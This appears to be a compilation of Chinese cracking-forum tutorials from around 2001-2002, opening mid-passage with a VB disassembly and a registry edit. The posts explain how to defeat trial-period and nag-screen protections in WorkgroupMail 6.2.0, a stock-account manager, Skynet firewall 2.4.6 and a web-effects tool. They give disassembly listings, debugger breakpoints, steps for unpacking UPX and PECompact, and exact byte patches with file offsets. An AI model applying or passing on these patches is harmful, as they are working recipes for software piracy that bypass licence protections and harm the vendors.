:0042777A FF1568124000 Call dword ptr [00401268]
:00427780 50 push eax

* Possible StringData Ref from Code Obj ->"SServerData"
|
:00427781 687C484100 push 0041487C

* Possible StringData Ref from Code Obj ->"SSettings"
|
:00427786 68282E4100 push 00412E28

* Possible StringData Ref from Code Obj ->"WWebTimeSync"
|
:0042778B 680C2E4100 push 00412E0C

* Reference To: MSVBVM60.rtcSaveSetting, Ord:02B2h
|
:00427790 FF1508104000 Call dword ptr [00401008]
:00427796 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM60.__vbaFreeStr, Ord:0000h
|
:00427799 FF1590124000 Call dword ptr [00401290]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00427691(C)
|
:0042779F C745FC1D000000 mov [ebp-04], 0000001D
:004277A6 8B5508 mov edx, dword ptr [ebp+08]
:004277A9 8B02 mov eax, dword ptr [edx]
:004277AB 8B4D08 mov ecx, dword ptr [ebp+08]
:004277AE 51 push ecx
:004277AF FF90C4030000 call dword ptr [eax+000003C4]
:004277B5 50 push eax
:004277B6 8D55C8 lea edx, dword ptr [ebp-38]
:004277B9 52 push edx

* Reference To: MSVBVM60.__vbaObjSet, Ord:0000h
|
:004277BA FF15B0104000 Call dword ptr [004010B0]
:004277C0 89852CFFFFFF mov dword ptr [ebp+FFFFFF2C], eax

* Possible StringData Ref from Code Obj ->"UUpdates left: "
|
:004277C6 68B8484100 push 004148B8
:004277CB 8B4508 mov eax, dword ptr [ebp+08]
:004277CE 668B887A010000 mov cx, word ptr [eax+0000017A]
:004277D5 666BC904 imul cx, 0004

找注册表：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"ShellExtendedData"="850" ---->变1105又可以用１５次了。


WorkgroupMail 6.2.0

 标 题:破解WorkgroupMail 的30天的时间限制（FCG作业）---高手莫入！ (10千字)
发信人:moonlite
时 间:2001-9-14 16:08:00
详细信息:
破解WorkgroupMail 的30天的时间限制！

破解者：moonlite
目标：WorkgroupMail 6.2.0
下载：http://newhua.ruyi.com/down/wm.exe （大小2964Kb）
工具：TRW 1.22, UltraEdit，W32dasm， Winhex
保护：每次启动跳出nag窗＋30天试用＋动态验证
软件介绍：WorkgroupMail is a robust and highly scaleable POP3 server.
It can be used to automatically send and receive mail on behalf of each person
in an organization and then store received mail centrally ready for collection
by each person's e-mail client.

前言：这个软件安装完后，每次运行它都会跳出一个窗口提示“There are XX days remaining before your trial period expires. Please visit us at ...”。好！开始工作吧：

1）去除nag 窗口－>

>>首先，用W32dasm 反汇编WMSvc.exe，在SDR中可找到”Your licensed has expired! Please visit us at ...”：

:0044019E E8FD5C0000 call 00445EA0——————>程序启动时，检查是否过期的CALL
:004401A3 83C404 add esp, 00000004
:004401A6 8B442408 mov eax, dword ptr [esp+08]
:004401AA C744243000000000 mov [esp+30], 00000000
:004401B2 85C0 test eax, eax
:004401B4 7F40 jg 004401F6——————>在此一定要跳呵！/offset=401B4h
:004401B6 8D4C240C lea ecx, dword ptr [esp+0C]

* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:004401BA E825EF0000 Call 0044F0E4
:004401BF 8B442414 mov eax, dword ptr [esp+14]
:004401C3 8D4C240C lea ecx, dword ptr [esp+0C]
:004401C7 50 push eax

* Possible Reference to String Resource ID=24591: "Your licensed has expired! Please visit us at %1 and purchas"
|
:004401C8 680F600000 push 0000600F
:004401CD 51 push ecx
:004401CE C644243C01 mov [esp+3C], 01

* Reference To: MFC42.Ordinal:047B, Ord:047Bh
|
:004401D3 E858F10000 Call 0044F330

用UltraEdit，在offset=401B4h处，将7F40 改为EB40, 保存后退出。

>>运行WMSvc.exe，nag窗出现。启动TRW，Ctrl＋D 激活，搜索字符串“There are XX days ...”，内存中找到一处地址 6E0FD4。退出WMSvc.exe。bpx 6E0FD4设断，并重新运行WMSvc.exe，被TRW拦住如下：

——————————MSVCRT!.memcpy—————————
015F:78001641 JMP NEAR [ECX*4+78001704]
015F:78001648 REP MOVSD ————————————————>光标在这！
015F:7800164A JMP NEAR [EDX*4+78001728]
015F:78001651 MOV EAX,EDI
015F:78001653 MOV EDX,03
015F:78001658 SUB ECX,BYTE +04
015F:7800165B JC 78001669
015F:7800165D AND EAX,BYTE +03
015F:78001660 ADD ECX,EAX
015F:78001662 JMP NEAR [EAX*4+780016F4]
015F:78001669 JMP NEAR [ECX*4+`MSVCRT!memcmp`]
015F:78001670 AND EDX,ECX
015F:78001672 MOV AL,[ESI]
015F:78001674 MOV [EDI],AL
015F:78001676 MOV AL,[ESI+01]

按三次F5后，程序会来到：

——————————USER!.messageboxindirect——————
1777:012C CLD
1777:012D REPNE SCASB ————————————————>光标在这！
1777:012F NEG CX
1777:0131 DEC CX
1777:0132 CMP CX,BX
1777:0134 POP CX
1777:0135 POP DI
1777:0136 XCHG AX,DX
1777:0137 JA 0140
1777:0139 RET

我们知道这是在调用窗口函数，也就是说nag窗快登场了！(有朋友会说，拦窗口太费事了，bpx messageboxindirect不就结了---我试过，这招不灵呵) 好！ 按两次F12，nag窗弹出。按下“确定”按钮，又返回TRW领空：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF37(C)
|
:0043FF4E A1E83D4700 mov eax, dword ptr [00473DE8]
:0043FF53 85C0 test eax, eax——————>使eax=0，可跳过提示注册的nag窗/offset=3FF53h
:0043FF55 7415 je 0043FF6C
:0043FF57 8B4C240C mov ecx, dword ptr [esp+0C]
:0043FF5B 8B542408 mov edx, dword ptr [esp+08]
:0043FF5F 8B442404 mov eax, dword ptr [esp+04]——————>eax 指向字符串“There are XX days remaining ...”
:0043FF63 51 push ecx
:0043FF64 52 push edx
:0043FF65 50 push eax

* Reference To: MFC42.Ordinal:04B0, Ord:04B0h
|
:0043FF66 E8A3F10000 Call 0044F10E——————>nag窗的CALL
:0043FF6B C3 ret

心里还想呢，这个nag窗太好去除了^_^。

打开UltraEdit， Ctrl＋G，来到 3FF53h处，将8530 改为31C0 （即xor eax, eax）
保存退出。运行WMSvc.exe。那个nag窗口没了...。将时间调快两个月，再运行它，nag窗口也没出现，可高兴了没有两秒，它在工具拦的图标竞消失了！一定还有暗桩，难道有CRC校验，不会呵，运行时可没报错呵～～

难道其它地方还有时间的校验，该不是...
再演示一遍。一定要抢在程序退出以前，用TRW中断它吆！
在工具拦的图标出现后，迅速Ctrl＋D，来到TRW的领空，下 bpx getsystemtime。开始按F5吧，会按几次的，别忘了做笔记。

最后，会发现以下代码：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B4E(C)
|
:00402B57 E8B42E0400 call 00445A10——————>动态验证是否过期的CALL/过期，则eax=0
:00402B5C 85C0 test eax, eax——————>看上去很面熟呵～～
:00402B5E 7507 jne 00402B67——————>一定要跳呵！！/offset=2B5Eh
:00402B60 8BCE mov ecx, esi
:00402B62 E859050000 call 004030C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B5E(C)
|
:00402B67 C705C444470000000000 mov dword ptr [004744C4], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402AEA(C)
|
:00402B71 5E pop esi
:00402B72 C20400 ret 0004

>>用UltraEdit，将offset=2B5Eh处的7507 改为EB07。保存退出－>运行WMSvc.exe——>搞定！！

2）启动时时间的验证：

有朋友会问，到底软件提示中用了多少天是怎么算出来的呵？和我一样，总是很好奇。。。好，我和你切磋一下！

安装WorkgroupMail 后，安装的时间记录会保存在同目录下的文件WMData.dat中。它是一个二进制数据文件，记录着你的配置信息和软件安装时间：
用UltraEdit打开后发现：

偏移地址
00000000:1600000073716C3B0001000000010000

注意73716C3B这四个字节，就是你安装软件的时间。让我们看以下代码：

:00403D5E E8ED390400 call 00447750
:00403D63 85C0 test eax, eax
:00403D65 7512 jne 00403D79
:00403D67 6AFF push FFFFFFFF
:00403D69 53 push ebx

* Possible Reference to String Resource ID=24638: "Unable to load settings file WMData.dat!"
|
:00403D6A 683E600000 push 0000603E
:00403D6F E80CC20300 call 0043FF80
:00403D74 83C40C add esp, 0000000C
:00403D77 EB10 jmp 00403D89

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403D65(C)
|
:00403D79 8BCE mov ecx, esi
:00403D7B E820030000 call 004040A0
:00403D80 E8CBC30300 call 00440150——————>启动时检查运行天数及是否过期的CALL
:00403D85 85C0 test eax, eax
:00403D87 7533 jne 00403DBC

在00403D79处设断。并运行WMSvc.exe，TRW拦住后。suspend并返回windows，打开Winhex的RAM的Editor，搜索HEX值“73716C3B”找到地址 7E2CB8 一处。bpm 7E2CB8，按F5，中断在：

* Reference To: MFC42.Ordinal:0EE3, Ord:0EE3h
|
:00440040 E87BF00000 Call 0044F0C0
:00440045 8B08 mov ecx, dword ptr [eax]
:00440047 8B15FC484700 mov edx, dword ptr [004748FC]
:0044004D 51 push ecx
:0044004E 894C2418 mov dword ptr [esp+18], ecx
:00440052 8B4A08 mov ecx, dword ptr [edx+08]——————>指向安装时间记录
:00440055 8BC4 mov eax, esp——————>光标在这！
:00440057 8D542424 lea edx, dword ptr [esp+24]
:0044005B 89642420 mov dword ptr [esp+20], esp
:0044005F 8908 mov dword ptr [eax], ecx——————>时间记录送[eax]保存
:00440061 52 push edx
:00440062 8D4C241C lea ecx, dword ptr [esp+1C]——————>指向的是系统时间
:00440066 E885FBFCFF call 0040FBF0]——————>进入——>>

***************************
* Referenced by a CALL at Addresses:
|:0040F898 , :00426D2C , :004306ED , :00432322 , :004329B0
|:004357B9 , :00440066 , :0044390A , :00443998 , :004457DA
|
:0040FBF0 8B09 mov ecx, dword ptr [ecx]——————>指向的是系统时间
:0040FBF2 8B442408 mov eax, dword ptr [esp+08]——————>指向安装时间记录
:0040FBF6 2BC8 sub ecx, eax——————>做减法
:0040FBF8 8B442404 mov eax, dword ptr [esp+04]——————>指定差值的存放地址
:0040FBFC 8908 mov dword ptr [eax], ecx——————>差值保存在[eax]
:0040FBFE C20800 ret 0008

******************************

:0044006B 8B08 mov ecx, dword ptr [eax]——————>差值送ecx
:0044006D B807452EC2 mov eax, C22E4507]——————>换算参数送ecx
:00440072 F7E9 imul ecx
:00440074 03D1 add edx, ecx
:00440076 C1FA10 sar edx, 10
:00440079 8BC2 mov eax, edx
:0044007B C1E81F shr eax, 1F
:0044007E 03D0 add edx, eax
:00440080 8BDA mov ebx, edx——————>ebx中是你已试用的天数
:00440082 7904 jns 00440088
:00440084 33C0 xor eax, eax
:00440086 EB11 jmp 00440099

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00440082(C)
|
:00440088 B81E000000 mov eax, 0000001E——————>1E就是30天
:0044008D 33C9 xor ecx, ecx
:0044008F 2BC3 sub eax, ebx——————>用30天减去已试用的天数
:00440091 85C0 test eax, eax——————>测试判断
:00440093 0F9EC1 setle cl
:00440096 49 dec ecx
:00440097 23C1 and eax, ecx

...夜很深了，感觉很疲惫。在此收工吧。！

3）小结：改三处

offset@401B4h 7F40 -->EB40
offset@3FF53h 8530 --> 31C0
offset@2B5Eh 7507 -->EB07

★☆ moonlite 于2001-8-6☆★
交流请联系：qq_midi@yahoo.com.cn


股票账户管理软件 1.12

 标 题:股票账户管理软件 1.12(破解手记) (9千字)
发信人:Maxnut
时 间:2002-2-16 10:23:46
详细信息:
软件名称：股票账户管理软件 1.12

下载地址：http://www.008008.com　或　http://whsoft.126.com

简 介：“除基本的资金存取、股票买卖、除权功能外，还提供精确的买卖费用设置，可精确指定各种股票、基金的交易税、佣金等。”，据说是个很不错的管理软件，我不炒股的，对股票一窍不通，所以没法儿鉴别它的好坏……

破解日期：2002年2月9号

破解目的：解掉它的时间限制(不注册只能用到2001年12月31日)，其功能限制暂且不提，其实是我的水平实在是……知道了吧？拜托就别说出来了。

所需工具：SoftICE4.05(loader32.exe)、PDump321.62 、Blast Wave 2000、UltraEdit9.00a and PW32Dasm8.93。

说 明：本灌水只供技术交流用！本人乃一只超级菜鸟，文中若有不当之处还请“大虾米”们多多指教，谢谢！

Let's Go!!!

运行程序StkAct.exe，弹出一画面——“试用期已过。继续……”。若把时间调到2001年12月31日以前，程序可以正常运行，不会出现需要注册的画面。用loader32加载它，出现一条错误信息并询问是否继续，单击“YES”后，程序没有中断就自动运行了，用PDump32的PE-Editor打开它，将UPX0的Characteristics的值由E0000080改为E0000020。然后再用loader32加载它，这次它将激活SoftIce，继续往下走一段你会看到：
.
.
.
:00402C1C 68857B3101 push 01317B85
:00402C21 E856E60000 call 0041127C
:00402C26 59 pop ecx
:00402C27 DD9D74FFFFFF fstp qword ptr [ebp+FFFFFF74]
:00402C2D DD4508 fld qword ptr [ebp+08]
:00402C30 DC9D74FFFFFF fcomp qword ptr [ebp+FFFFFF74]
:00402C36 DFE0 fstsw ax
:00402C38 9E sahf
:00402C39 0F97C2 seta dl
:00402C3C 83E201 and edx, 00000001
:00402C3F 84D2 test dl, dl
:00402C41 7459 je 00402C9C----------------------->>>NOJUMP(继续让
它走就会出现注册画面了。)
:00402C43 8B0E mov ecx, dword ptr [esi]
:00402C45 8B81E0020000 mov eax, dword ptr [ecx+000002E0]
:00402C4B 33D2 xor edx, edx
:00402C4D 8B08 mov ecx, dword ptr [eax]
:00402C4F FF515C call [ecx+5C]
.
.
.
我们把00402C41处的代码改为：JMP 00402C9C （记下它的机器码）这下看看，按F5让程序继续运行，哈哈……没有出现注册的画面，操作一切正常，随即就用R'PP做了一个PATCH，果然OK，正在高兴时，突然又弹出了刚才的注册画面。天哪！(这个画面我不知设什么断点来拦，连Hmemcpy都不行，知道的告诉我一声哦,也由此引出了“脱壳篇”。)怎么办？想了许久，也没想出个办法，哎！还是先把它脱了壳再说吧。（接着请看——脱壳篇）

让我拿TYP看看它，哦？是用UPX0.9加的壳，…………<<<----一段儿痛苦的经历，发现它检测PDump32和TRW，发现它们存在后拒不运行！真是的！太不给我面子了！抄起BW2000(好东西，省了我不少事，感谢D.Boy)，运行StkAct.exe找到了入口地址00401012(经验证无误)，再次用loader32加
载它，下指令

g 00401012 程序会在下面停下来：
.
.
.
:00401000 EBFE jmp 00401012 --->>> (跳到程序的入口地点)
:00401002 66623A bound di, word ptr [edx]
:00401005 43 inc ebx
:00401006 2B2B sub ebp, dword ptr [ebx]
:00401008 48 dec eax
:00401009 4F dec edi
:0040100A 4F dec edi
:0040100B 4B dec ebx
:0040100C 90 nop
:0040100D E970744C00 jmp 008C8482
:00401012 A163744C00 mov eax, dword ptr [004C7463]--->>>(Stop Here程序的
入口地点)
:00401017 C1E002 shl eax, 02
:0040101A A367744C00 mov dword ptr [004C7467], eax
:0040101F 52 push edx
:00401020 6A00 push 00000000
:00401022 E8E5490C00 call 004C5A0C
:00401027 8BD0 mov edx, eax
.
.
.
现在，我们在00401000处设断点，重新加载后让其在此处中断，并键入以下指令：

a eip (回车)
jump eip (回车) 让程序在00401000处暂停嘛。

按F5让程序运行回到Windows……

打开PDump32，在Task中选中StkAct.exe，右键单击执行"Dump (Full)"，起个名字存盘，然后再右键单击StkAct.exe，选择"Kill Task"。脱壳结束！接下来该修改脱壳后程序的入口地址了：

我们已经知道原程序的入口地址是：00401012，再次用PDump32中的PE-Editor，打开脱壳后的文件，我们会看到其Entry Point(入口地址)是：00128F20，正确的应是：
原程序的入口地址-基址(Image Base)，即：
00401012-00400000=1012，修改后单击“OK”退出程序，运行看看，怎么样？可以正常运行了吧？

还记得我们刚才修改的代码使程序跳过时间限制的地方吗？就是：00402C41 7459 je 00402C9C，
我把它附近的机器码记了下来，用Ultra Edit打开脱壳后的文件，寻找我记下的代码，一共找到了两处，开始我以为是我记录的太少了，随后我又增加了许多，可还是找到了两处。仔细想想，的确，当时我只在内存中修改了一处的代码，不到两分钟就又出现了那个另人讨厌的注册画面，对，准是有地方又检查了一次，用PW32Dasm打开脱壳后的文件，终于找到了这个地方：
很面熟吧？和00402C41处的代码一样！
.
.
.
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402D9D(C), :00402DAC(C), :00402DC1(C), :00402DE2(C)
|
:00402F18 68857B3101 push 01317B85
:00402F1D E85AE30000 call 0041127C
:00402F22 59 pop ecx
:00402F23 DD9D74FFFFFF fstp qword ptr [ebp+FFFFFF74]
:00402F29 DD4508 fld qword ptr [ebp+08]
:00402F2C DC9D74FFFFFF fcomp qword ptr [ebp+FFFFFF74]
:00402F32 DFE0 fstsw ax
:00402F34 9E sahf
:00402F35 0F97C2 seta dl
:00402F38 83E201 and edx, 00000001
:00402F3B 84D2 test dl, dl
:00402F3D 7459 je 00402F98----------------------->>>NOJUMP(继续让
它走就会出现注册画面了。)
:00402F3F 8B0E mov ecx, dword ptr [esi]
:00402F41 8B81E0020000 mov eax, dword ptr [ecx+000002E0]
:00402F47 33D2 xor edx, edx
:00402F49 8B08 mov ecx, dword ptr [eax]
:00402F4B FF515C call [ecx+5C]
.
.
.
这段程序是由00402D9D(C), :00402DAC(C), :00402DC1(C), :00402DE2(C)跳过来的，估计是程序运行后的记时代码：差不多两分钟检测一遍运行条件，脱壳之前并没有发现，所以程序一开始通过了检测，但一会儿就又出现了注册画面，这部分记时程序我没看懂，原本惦着把时间调成一年检查一次的，可我不会，见笑了。还有，怎样做才能使它跨平台运行呢？谁教教我？

破解总结：将00402C41和00402F3D的代码“je 00402F98”改为：“jmp 00402F98”，即：
搜索--->>> 84D274598B0E
改为--->>> ~~~~EB~~~~~~ （共两处）

BTW:要不是成功的把它脱了壳，恐怕我是不会把它的时间限制搞定的。这篇灌水花了我将近3个半小时，由此我想到所有把自己的破解手记POST出来的人，是他们的辛勤劳动才使得我初涉了Crack的技术，感谢看学老师整理的《论坛精华》系列，其中众Cracker的文章使我受益非浅。今天是2002年2月12日（初一），在此，给大家拜个年——新年快乐！万事如意！马到成功！

Written by Maxnut

2002年2月12日晚23：30

续：第二种脱壳方法（★推荐★）：

（前天(13号)又发现它检测Filemon，真不知它到底想怎样！）

首先要加载Sice和其相对应的Icedump（要放到Sice的目录里执行），然后运行PDump32，单击执行“Bhrama Server”，现在你就可以继续用loader32加载StkAct.exe，还记得程序的入口地址吗？是：00401012。下指令：g 00401012(回车)，这时Sice会在程序的入口处停下来，即：
.
.
.
:00401012 A163744C00 mov eax, dword ptr [004C7463]--->>>(程序的入口地点)
:00401017 C1E002 shl eax, 02
:0040101A A367744C00 mov dword ptr [004C7467], eax
.
.
.
这时你可以下指令进行脱壳了，我Icedump的版本是6.023，用以下的指令：

/BHRAMA ProcDump32 - Dumper Server(回车) （别忘了前面的“/”符号）

随后你便会回到Windows下，PDump32会提示你给脱壳后的文件起名存盘，存盘后你可以用PDump32的PE-Editor对它进行查看，你可以看到这时的Entry Point(入口地址)是00001012，不用再修改了，这点是不同于第一种脱壳方法的（原来的脱壳方法还需要手动修改EP）！好了，让我们重新启动计算机，不加载Sice（还有其他的卸载方法吗？）。

运行脱壳操作生成的程序，这时的程序你可以看到是无法运行的，会出现“非法操作”。现在该让PEditor（注意：不是PDump32中的PE-Editor）出场了！我用的是1.7版。用“browse”选择该程序，用它的“rebuilder”功能进行重建，在选项中四个钩全选上，其中：“realign file”选
“normal”；“rebuild Import Table”选“rebuild ImportTable”，然后就可以“DO”了，完成后退出程序，再运行这个程序看看，怎么样？可以运行了吧？！

脱壳总结：用PDump32中的PE-Editor查看修复后的程序，这次脱壳后的文件比原来的在“Sections Iformations”中多了一个“.idata”，原来脱壳后的程序在我朋友的计算机（WIN98）上是运行不了的，而用这种方法脱壳就没有出现问题（我的系统是WIN97）。我想这正是Icedump的功劳吧？不过得需要“rebuilder”。你会选择哪种方法脱壳呢？

Written by Maxnut

2002年2月15日晚21：35

笑对人生……


天网防火墙2.4.6

 标 题:改一个字节使天网防火墙2.4.6永不过期. (6千字)
发信人:[tieji]
时 间:2001-11-26 10:53:28
详细信息:
改一个字节使天网防火墙2.4.6永不过期.

破解者：tieji
破解时间：2001-11-23

注册码可以免费得到,不用破解,现破解的是一个月后弹出过期提示框.
找到004033D3 call dword ptr [edx+000000D8] 是弹出过期提示框的地方,具体怎样找到的,
参见《看雪论坛精华Ⅲ》,这里就不再说了.

* Referenced by a CALL at Addresses:
|:00405593 , :004056C9 , :0040E4E7 , :0042022F , :0042044E
|:004205F4 , :00420720
| <============原来有这么多地方来到这里,究竟是
哪一个呢,经测试是00405593,而其他几个是干什么
的,请各位大侠帮助研究一下.下面转到00405593:
:00403340 55 push ebp
:00403341 8BEC mov ebp, esp
:00403343 83C4C0 add esp, FFFFFFC0
:00403346 53 push ebx
:00403347 56 push esi
:00403348 57 push edi
:00403349 894DC4 mov dword ptr [ebp-3C], ecx
:0040334C 8955FC mov dword ptr [ebp-04], edx
:0040334F 8945C8 mov dword ptr [ebp-38], eax
:00403352 B8789F5100 mov eax, 00519F78
:00403357 E8406A0F00 call 004F9D9C
:0040335C C745E801000000 mov [ebp-18], 00000001
:00403363 8D55FC lea edx, dword ptr [ebp-04]
:00403366 8D45FC lea eax, dword ptr [ebp-04]
:00403369 E87A421100 call 005175E8
:0040336E FF45E8 inc [ebp-18]
:00403371 66C745DC0800 mov [ebp-24], 0008
:00403377 8B4DC4 mov ecx, dword ptr [ebp-3C]
:0040337A B201 mov dl, 01

* Possible StringData Ref from Data Obj ->"?L"
|
:0040337C A154205200 mov eax, dword ptr [00522054]
:00403381 E8069A0100 call 0041CD8C
:00403386 8945C0 mov dword ptr [ebp-40], eax
:00403389 66C745DC1400 mov [ebp-24], 0014
:0040338F 66C745DC2000 mov [ebp-24], 0020
:00403395 8D55FC lea edx, dword ptr [ebp-04]
:00403398 8D45F8 lea eax, dword ptr [ebp-08]
:0040339B E848421100 call 005175E8
:004033A0 FF45E8 inc [ebp-18]
:004033A3 8B10 mov edx, dword ptr [eax]
:004033A5 8B4DC0 mov ecx, dword ptr [ebp-40]
:004033A8 8B81DC020000 mov eax, dword ptr [ecx+000002DC]
:004033AE E8A16B0B00 call 004B9F54
:004033B3 FF4DE8 dec [ebp-18]
:004033B6 8D45F8 lea eax, dword ptr [ebp-08]
:004033B9 BA02000000 mov edx, 00000002
:004033BE E84D431100 call 00517710
:004033C3 8B55C0 mov edx, dword ptr [ebp-40]
:004033C6 8B45C8 mov eax, dword ptr [ebp-38]
:004033C9 E81E230000 call 004056EC
:004033CE 8B45C0 mov eax, dword ptr [ebp-40]
:004033D1 8B10 mov edx, dword ptr [eax]
:004033D3 FF92D8000000 call dword ptr [edx+000000D8] <========弹出过期提示框
往上看是哪里跳过来的
:004033D9 66C745DC0800 mov [ebp-24], 0008
:004033DF 8B4DC0 mov ecx, dword ptr [ebp-40]
:004033E2 894DF0 mov dword ptr [ebp-10], ecx
:004033E5 837DF000 cmp dword ptr [ebp-10], 00000000
:004033E9 7421 je 0040340C
:004033EB 8B45F0 mov eax, dword ptr [ebp-10]
:004033EE 8B10 mov edx, dword ptr [eax]
:004033F0 8955F4 mov dword ptr [ebp-0C], edx
:004033F3 66C745DC3800 mov [ebp-24], 0038

===========================================================================================

:00405546 8D45C8 lea eax, dword ptr [ebp-38]
:00405549 5A pop edx
:0040554A E869000000 call 004055B8 <=============跟进看看
:0040554F 84C0 test al, al <============测试al是否为零
:00405551 7445 je 00405598 <============al为零,表示没过期,跳过过期提示框
什么时候给al赋值,跟进上面的call看看
:00405553 66C745E42000 mov [ebp-1C], 0020
:00405559 8D45F8 lea eax, dword ptr [ebp-08]
:0040555C E8FFC7FFFF call 00401D60
:00405561 8BD0 mov edx, eax
:00405563 FF45F0 inc [ebp-10]

* Possible Reference to String Resource ID=30104: " ?靹Q?www.sky.net.cn) }"
|
:00405566 B898750000 mov eax, 00007598
:0040556B E8906A0E00 call 004EC000
:00405570 8D55F8 lea edx, dword ptr [ebp-08]
:00405573 8D45FC lea eax, dword ptr [ebp-04]
:00405576 E8C5211100 call 00517740
:0040557B FF4DF0 dec [ebp-10]
:0040557E 8D45F8 lea eax, dword ptr [ebp-08]
:00405581 BA02000000 mov edx, 00000002
:00405586 E885211100 call 00517710
:0040558B 33C9 xor ecx, ecx
:0040558D 8B55FC mov edx, dword ptr [ebp-04]
:00405590 8B45D0 mov eax, dword ptr [ebp-30]
:00405593 E8A8DDFFFF call 00403340 <=================这里调用

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405551(C)
|
:00405598 FF4DF0 dec [ebp-10]

=====================================================================================

* Referenced by a CALL at Address:
|:0040554A
|
:004055B8 55 push ebp
:004055B9 8BEC mov ebp, esp
:004055BB 83C4F8 add esp, FFFFFFF8
:004055BE 8955F8 mov dword ptr [ebp-08], edx
:004055C1 8945FC mov dword ptr [ebp-04], eax
:004055C4 8B45FC mov eax, dword ptr [ebp-04]
:004055C7 DD00 fld qword ptr [eax]
:004055C9 8B55F8 mov edx, dword ptr [ebp-08]
:004055CC DC1A fcomp qword ptr [edx]
:004055CE DFE0 fstsw ax
:004055D0 9E sahf
:004055D1 0F97C0 seta al
:004055D4 83E001 and eax, 00000001 <==========这里eax和00000001与一下,
要al为零,将代码改为: and eax, 00000000
就可使程序永不过期.即将83E001改为83E000
:004055D7 59 pop ecx
:004055D8 59 pop ecx
:004055D9 5D pop ebp
:004055DA C3 ret
这样将1改为0,只改一个字节使天网防火墙2.4.6永不过期.

标 题:call 00403340 是个显示对话框的公用调用，根据参数不同来决定所显示的内容 (空)
发信人:Fpc
时 间:2001-11-26 11:22:15
详细信息:


网页特效小精灵

 标 题:班门弄斧之暴破网页特效小精灵 (6千字)
发信人:eCool
时 间:2001-10-10 21:35:06
详细信息:
暴破网页特效小精灵

软件功能：看名字就知道
下载网址：http://chinabds.126.com
功能限制：只能在2001.10－2001.12之间使用。
破解工具：Language 2000，UnPecompact，Trw2000，W32dasm，Hiew
文章作者：eCool
整理时间：2001.10.10 （转载请保持原文完整）

破解过程：
1.用Language 2000看看，发现是加了PeCompact壳，马上用UnPecompact解壳，接着用Language 2000
发现是VB6写的，头大，：（
2.用W32dasm看看能否找到过期提示，结果一无所获，看来只好用Trw2000试试了。
3.用bpx msvbvm60!__.rtcGetYear设断，运行程序。
4.程序被拦下：

* Reference To: MSVBVM60.rtcGetYear, Ord:0229h <------获取年份
|
:004209AC FF1540104000 Call dword ptr [00401040]
:004209B2 8D559C lea edx, dword ptr [ebp-64]
:004209B5 C78564FFFFFFD2070000 mov dword ptr [ebp+FFFFFF64], 000007D2
:004209BF 52 push edx
:004209C0 C7855CFFFFFF02800000 mov dword ptr [ebp+FFFFFF5C], 00008002
:004209CA FFD3 call ebx
:004209CC 8D459C lea eax, dword ptr [ebp-64]
:004209CF 8D4D8C lea ecx, dword ptr [ebp-74]
:004209D2 50 push eax
:004209D3 51 push ecx

* Reference To: MSVBVM60.rtcGetMonthOfYear, Ord:0221h <---------获取月
|
:004209D4 FF1550114000 Call dword ptr [00401150]
:004209DA 8D55BC lea edx, dword ptr [ebp-44]
:004209DD 8D855CFFFFFF lea eax, dword ptr [ebp+FFFFFF5C]
:004209E3 52 push edx
:004209E4 8D4DAC lea ecx, dword ptr [ebp-54]
:004209E7 50 push eax
:004209E8 51 push ecx
:004209E9 C78554FFFFFF0A000000 mov dword ptr [ebp+FFFFFF54], 0000000A
:004209F3 C7854CFFFFFF02800000 mov dword ptr [ebp+FFFFFF4C], 00008002

* Reference To: MSVBVM60.__vbaVarCmpEq, Ord:0000h <---------比较是否为2001年
|
:004209FD FF152C114000 Call dword ptr [0040112C]
:00420A03 50 push eax
:00420A04 8D558C lea edx, dword ptr [ebp-74]
:00420A07 8D854CFFFFFF lea eax, dword ptr [ebp+FFFFFF4C]
:00420A0D 52 push edx
:00420A0E 8D8D7CFFFFFF lea ecx, dword ptr [ebp+FFFFFF7C]
:00420A14 50 push eax
:00420A15 51 push ecx

* Reference To: MSVBVM60.__vbaVarCmpLt, Ord:0000h <---------比较是否在10月到12月中
|
:00420A16 FF1518114000 Call dword ptr [00401118]
:00420A1C 8D956CFFFFFF lea edx, dword ptr [ebp+FFFFFF6C]
:00420A22 50 push eax
:00420A23 52 push edx

* Reference To: MSVBVM60.__vbaVarOr, Ord:0000h
|
:00420A24 FF159C104000 Call dword ptr [0040109C]
:00420A2A 50 push eax

* Reference To: MSVBVM60.__vbaBoolVarNull, Ord:0000h
|
:00420A2B FF1578104000 Call dword ptr [00401078]
:00420A31 668BD8 mov bx, ax
:00420A34 8D458C lea eax, dword ptr [ebp-74]
:00420A37 8D4D9C lea ecx, dword ptr [ebp-64]
:00420A3A 50 push eax
:00420A3B 8D55BC lea edx, dword ptr [ebp-44]
:00420A3E 51 push ecx
:00420A3F 8D45CC lea eax, dword ptr [ebp-34]
:00420A42 52 push edx
:00420A43 50 push eax
:00420A44 6A04 push 00000004

* Reference To: MSVBVM60.__vbaFreeVarList, Ord:0000h
|
:00420A46 FF151C104000 Call dword ptr [0040101C]
:00420A4C 83C414 add esp, 00000014
:00420A4F 663BDF cmp bx, di <--------比较标志位
:00420A52 0F8495000000 je 00420AED <--------为0则跳，关键
否则Over，改为Jmp

* Reference To: MSVBVM60.__vbaVarDup, Ord:0000h
|
:00420A58 8B3534114000 mov esi, dword ptr [00401134]
:00420A5E B90A000000 mov ecx, 0000000A
:00420A63 B804000280 mov eax, 80020004
:00420A68 894D9C mov dword ptr [ebp-64], ecx
:00420A6B 894DAC mov dword ptr [ebp-54], ecx
:00420A6E BB08000000 mov ebx, 00000008
:00420A73 8D954CFFFFFF lea edx, dword ptr [ebp+FFFFFF4C]
:00420A79 8D4DBC lea ecx, dword ptr [ebp-44]
:00420A7C 8945A4 mov dword ptr [ebp-5C], eax
:00420A7F 8945B4 mov dword ptr [ebp-4C], eax
:00420A82 C78554FFFFFF68DE4100 mov dword ptr [ebp+FFFFFF54], 0041DE68
:00420A8C 899D4CFFFFFF mov dword ptr [ebp+FFFFFF4C], ebx
